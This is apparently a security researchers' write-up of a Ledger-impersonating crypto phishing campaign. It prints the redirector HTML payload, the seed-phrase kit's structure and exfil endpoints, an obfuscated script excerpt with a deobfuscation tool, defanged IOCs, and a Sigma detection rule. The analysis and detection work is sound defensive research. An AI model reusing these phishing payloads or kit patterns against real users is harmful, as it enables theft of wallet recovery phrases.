A single spoofed Ledger email, a phishing-tracker pipeline, a vision model that kept us honest and three distinct pieces of attacker infrastructure, two of them still live at time of writing.
The lure
It starts the way these always do. An email, sent 2026-09-01 09:37 UTC, warning of a "customer database breach" and urging the recipient to "verify their recovery phrase." Anyone who has worked crypto fraud knows the rule: a recovery phrase is never verified online. Ever. The moment a form asks for those 12–24 words, the wallet is gone.
The headers tell the real story:
From: support-ledger@duanneseeley[.]com
Subject: Important Ledger Device Notification
DKIM/SPF: PASS — but only because the phisher owns duanneseeley[.]com
and verified it in their own Amazon SES account
Reply-To: scam.alert.ledger@collector[.]org
Sent via: Amazon SES (outgoing 54.240.8.13)
Target: tr•••••@gmail.com
The SPF/DKIM pass is worth pausing on. Nothing was spoofed in the authenticated sense the attacker simply registered (or hijacked) duanneseeley[.]com, enrolled it in SES, and let Amazon's reputation vouch for them. Authentication passing ≠ sender legitimate. The Gmail spam folder caught it anyway, because reputation is more than SPF.
Links in the body route through SES's own click-tracker (jhnblchm[.]r[.]us-east-1[.]awstrack[.]me) to the real payload:
http://cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com
An S3 website bucket public, HTTP, and serving a 166-byte index.html that does exactly one thing:
<!-- full payload, mirrored 2026-09-04 -->
<html><head>
<meta http-equiv="refresh" content="0;url=https://verify-address[.]es/recovery-support/">
</head><body></body></html>
A redirect to a Cloudflare-fronted "recovery support" page. (The chain apparently rotates: during our collection the same flow pointed at the Azure host below.)
Scaling one email into a campaign
The seed email is one tree. Passive pivots on the payload domains URLScan, urlquery.net, Certificate Transparency, Wayback grew it into a forest: 480 candidate pages, 320 scored, 37 high-confidence at peak, dominated by a family of Ledger Live typosquats on Cloudflare Pages (*.pages[.]dev): ledger-live-faq, auth-ledger-live-sso, doc-ledger-support, portal-ledgrr-loglive, ledger-hardwere--wallet-eng and friends.
Screenshot analysis was the multiplier here. Our pipeline pushes every captured screenshot through a local vision LLM; on this run it processed 74 of 80 captures and re-graded 21 candidates upward to high confidence on visual corroboration alone. It also correctly waved through genuinely benign pages that keyword-only classifiers would have flagged.
One of those vision analyses mattered more than all the others but not in the way we expected. Keep reading.
The screenshot gallery
All pages captured 2026-09-03/04 via passive scanning (URLScan). Captions include the model's assessment.
1. The Azure kit entry page (bedgries0b[.]azurewebsites[.]net) device-selection step, branded to pass casual inspection:

2. The fake "Ledger Identity" login (ledger-identity[.]pages[.]dev/login) an Astro-built credential harvester with a Cloudflare Turnstile widget. This one is live:

3. Ledger Live typosquat landing (portal-ledgr-live-wallet[.]pages[.]dev) dark theme, emoji navigation, "Gateway to Secure Crypto":

4–8. The rest of the family "documentation" clones and fake download portals:




A detail we enjoy: several of these pages carry a disclaimer "This guide is independent and educational. It is not the official Ledger Start page." visible to our vision model on auths-ledgrcom-start[.]pages[.]dev. Operators add these to dodge platform abuse automation while relying on the URL and branding to fool humans. The disclaimer is the tell, not an excuse.
Kit 1: The seed-phrase harvester on Azure
bedgries0b[.]azurewebsites[.]net was the jackpot a full, live kit (26 files, 4.8 MB), mirrored in 1.5 seconds. The structure maps the entire fraud workflow:
index.html → device selection: Nano X / Nano S / Nano S Plus / Blue
recovery.html → seed-phrase entry (600 KB — ships a BIP39 wordlist inline)
verify.html → "verification" theatre
script1.js → 43 KB of obfuscator.io output — the actual logic
send12/18/24.php → per-word-count exfil endpoints (now 404)
db/searchuser.php → server-side BIP39 word validation (typeahead)
db/actiontwo_db.php → second-stage logging
script1.js is classic obfuscator.io string-array obfuscation:
var _0x5790d2=_0xca15;(function(_0x45f25c,_0x11201f){var _0x322aa1=_0xca15,
_0x2f753b=_0x45f25c();while(!![]){try{var _0x436386=parseInt(_0x322aa1(0x10e))
/0x1*(-parseInt(_0x322aa1(0x9f))/0x2)+parseInt(_0x322aa1(0x12e))/0x3* ...
But this variant uses a single-argument decoder (index + fixed offset, no per-call RC4 key), which makes static string recovery trivial. Extract the array function and the decoder, evaluate them in isolation, walk the index range:
// deob.js — dump every string from an obfuscator.io bundle (single-arg decoder)
const fs = require('fs');
const src = fs.readFileSync(process.argv[2], 'utf8');
const arrFn = src.match(/function (_0x[0-9a-f]+)\(\)\{var _0x[0-9a-f]+=\[/);
const decFn = src.match(/function (_0x[0-9a-f]+)\(_0x[0-9a-f]+,_0x[0-9a-f]+\)\{var _0x[0-9a-f]+=(_0x[0-9a-f]+)\(\);return \1=function/);
function extractFn(name) { /* brace-match the function body */ }
eval(extractFn(arrFn[1]) + '\n' + extractFn(decFn[1]) + `
const __out = [];
for (let i = 0x20; i < 0x600; i++) {
try { const s = ${decFn[1]}(i);
if (typeof s === 'string' && s.length > 2 && !__out.includes(s)) __out.push(s);
} catch(e) {} }
console.log(__out.join(' | '));`);
The dump lays the kit bare endpoints, UI flow, and error handling, no dynamic analysis needed:
./send12.php | ./send18.php | ./send24.php ← exfil, per word count
db/searchuser.php?key=%QUERY ← server-side word validation
db/actiontwo_db.php ← stage-two logging
div#twelvewordsdiv | div#eighteenwordsdiv | div#twentyfourwordsdiv
input[name=12_first_input] ... input[name=24_twentyfour_input_1]
data-word-check | last-inserted-id | last_id
Something is wrong.Please try again later.
https://www.ledger.com/ledger-live ← post-harvest redirect
Read that last line again: after harvesting, victims are sent to the genuine Ledger site. Friction zero, suspicion zero.
Status: front-end still serving (HTTP 200), backend handlers return Azure's File not found. the harvest backend has been pulled, likely post-takedown or mid-migration. A /.git/config probe returns 403 (not 404), suggesting a .git directory exists but is blocked.
Kit 2: The fake Ledger Identity API and a CNAME leak
ledger-identity[.]pages[.]dev/login is a different, more modern animal: an Astro-built login shell for a fictional "Ledger Identity" service, wired to the attacker's own API:
fetch(`${API_BASE}/api/v1/auth/magic_link`, { ... })
fetch(API_BASE + "/api/v1/auth/rate_limit_status?email=" + encodeURIComponent(storedEmail), ...)
// API_BASE = https://idapi[.]ledgerhq[.]nz
Two capabilities in one page: magic-link phishing (the attacker's API emails victims a "login" link from infrastructure they control) and email enumeration via the rate-limit endpoint. The page is armored with the attacker's own Cloudflare Turnstile widget sitekey 0x4AAAAAAC6U-1aqd0aobBrE which doubles as a reporting handle: sitekeys are account-bound, so a Trust & Safety report against the key hits the operator, not just the page.
Then the infrastructure hiccup that automated recon lives for: the login shell loads its styles and scripts from the attacker's CDN, ltscdn[.]m6[.]nz (BunnyCDN-backed), but the API base resolves differently:
idapi[.]ledgerhq[.]nz → CNAME prx-nz-chc-1[.]theom[.]co[.]nz → 203[.]84[.]236[.]80
A misconfigured CNAME chain publishes the origin host a New Zealand box behind theom[.]co[.]nz bypassing the Cloudflare front entirely. The service filters generic probes (HTTP-level 000/timeout on direct requests), but the mapping is now permanent IOC record. The shell's asset domain ledgerhq[.]nz also resolves on Cloudflare anycast (104.21.80.164 / 172.67.151.144).
Status: LIVE. This is the highest-priority takedown in the set.
The false positive that vision caught and the classifier ignored
This is the part we publish on purpose.
ledger-portal-cliente[.]pages[.]dev scored high confidence, credential_phishing. Domain contains "ledger" ✓ login form ✓ Supabase backend ✓. Takedown draft: queued.
Then we read the vision model's actual description of the screenshot:
"A full-screen login page for a Brazilian accounting service called 'Ledger Contábil', presented in Portuguese... gold/amber abstract dots icon next to the wordmark 'Ledger' with 'CONTÁBIL' beneath it. Tagline: 'SEU ESCRITÓRIO MAIS PERTO DE VOCÊ'..."
It's a real Brazilian accounting firm's client portal Ledger Contábil, "cliente" as in client portal whose Supabase project (zwcpckcgtmprcacwrqtp[.]supabase[.]co, publishable key recovered from the bundle, authenticates cleanly) is simply their auth backend. A small firm deploying their PWA on Cloudflare Pages. Nothing to do with hardware wallets.
The keyword classifier saw three phishing signals. The vision model saw a woman in an office with financial dashboards. The evidence was already in our pipeline; the classification just didn't listen to it. We downgraded the candidate, pulled the associated infrastructure markers, and verified no notification draft referenced it. Had we bulk-approved the queue without an evidence audit, we'd have filed a fraudulent abuse report against an innocent accounting firm and handed their live auth backend to an "investigation" it had nothing to do with.
Automation proposes; evidence disposes.
Infrastructure map
| Asset | Role | Status |
|---|---|---|
cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com |
Seed-email payload (redirector) | Live, 166 B redirect |
verify-address[.]es/recovery-support/ |
CF-fronted recovery-phrase page | Challenge-walled |
bedgries0b[.]azurewebsites[.]net |
Full seed-phrase kit (Azure App Service) | Front-end live, backend pulled |
ledger-identity[.]pages[.]dev + idapi[.]ledgerhq[.]nz (+origin 203[.]84[.]236[.]80) |
Credential/magic-link harvest | LIVE |
ltscdn[.]m6[.]nz |
Attacker CDN (BunnyCDN) for kit 2 | Live |
ledger-portal-cliente[.]pages[.]dev |
Corrected | |
30+ *.pages[.]dev Ledger typosquats |
Brand-impersonation landers/downloads | Mixed; 2 already CF-blocked |
duanneseeley[.]com |
SES-verified spoof sender | Abuse report to AWS |
jhnblchm[.]r[.]us-east-1[.]awstrack[.]me |
SES click-tracking (this sender) | Identifies the SES config |
The pages[.]dev family sits on shared Cloudflare anycast space we tested IP pivoting on the shared edge and confirmed what everyone knows and nobody enjoys: shared-CDN IPs yield nothing for attribution. Domain rotation, not IP rotation, is the operational pattern here.
IOCs (defanged)
# Sender / lure
duanneseeley[.]com SES-verified sender domain
jhnblchm[.]r[.]us-east-1[.]awstrack[.]me SES click-tracking subdomain
# Kit 1 — seed-phrase harvester
cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com
verify-address[.]es
bedgries0b[.]azurewebsites[.]net + /send12.php /send18.php /send24.php
+ /db/searchuser.php /db/actiontwo_db.php
# Kit 2 — credential / magic-link harvest
ledger-identity[.]pages[.]dev
ledgerhq[.]nz idapi[.]ledgerhq[.]nz
ltscdn[.]m6[.]nz (origin: monarchcdn[.]b-cdn[.]net)
203[.]84[.]236[.]80 (idapi origin, via theom[.]co[.]nz)
Turnstile sitekey: 0x4AAAAAAC6U-1aqd0aobBrE
# pages[.]dev cluster (non-exhaustive; 30+ hosts)
ledger-live-faq auth-ledger-live-sso doc-ledger-support portal-ledgr-live-wallet
portal-ledgrr-loglive login-ledger-hardware web-ledgr-sso-live-docs
ledger-hardwere--wallet-eng ledgerlivedownload ledger-com-ion
cloud-leger-wallet en-ledgrr-desktop-ie wallet-hardwre-ledger ledgrre-live
ledger-live-support-ne service-start-io-ledggr starts--ledgers-com
auths-ledgrcom-start leger-x-logn-auth-start getting-eng-support manage-ledgrr
Hunting queries
URLScan:
page.domain:*pages.dev AND page.title:*Ledger* AND (page.url:*start* OR page.url:*auth* OR page.url:*login*)
page.body:"recovery phrase" AND page.body:Ledger
Sigma-style (web-proxy / DNS layer), the durable logic:
title: Ledger crypto-wallet phishing kit exfil endpoints
status: experimental
logsource:
category: proxy
detection:
selection_exfil:
c-uri-path|contains:
- '/send12.php'
- '/send18.php'
- '/send24.php'
- '/api/v1/auth/magic_link'
selection_redirector:
c-uri-query|contains: 'cloud-secure-webview'
condition: 1 of selection_*
falsepositives:
- Security research mirroring phishing kits
level: high
And the cheapest one of all: GET /send12.php on any host is a beacon of a seed-phrase kit 404 means the backend was pulled, 200/405 means it's alive. Worth a scheduled check on every host in the cluster; the Azure backend dying mid-campaign is exactly the churn this check catches.
Takedown and disclosure posture
- 37 notifications drafted, zero sent at publication time — Cloudflare abuse for the
pages[.]devfamily, Azure/Microsoft for the kit host, AWS for the SES sender, and Cloudflare Trust & Safety against the Turnstile sitekey (the fastest kill for Kit 2, since the key is account-bound) - Full artifacts (kit source, deobfuscated string tables, screenshots, notification queue) are preserved in the case directory with hashes
- No interaction with the phishing backends beyond GET-only liveness checks; no queries for victim records that data belongs to the platforms and law enforcement, not to us. Victim-notification routes go through Supabase/Cloudflare trust & safety and Ledger's brand-protection team, who can lawfully identify affected customers and watch for harvested phrases being used on-chain
Method notes
- Pipeline: deterministic extraction → passive OSINT pivots (URLScan, urlquery.net, SearXNG, crt.sh, Wayback) → vision-assisted screenshot triage (local LLM, verified against ground truth before the run — the other vision backend on our lab network returned 500s for every image that morning, which is how we learned to test endpoints with a synthetic red-square-blue-circle image before trusting them)
- Deobfuscation: static string-array dump (script above); no execution of attacker code
- Confidence levels in this post: LIVE/burned statuses are from direct observation on 2026-09-04; "likely benign" for the accounting portal is a MEDIUM-confidence analyst judgment based on vision evidence, and we say so rather than launder it through automation
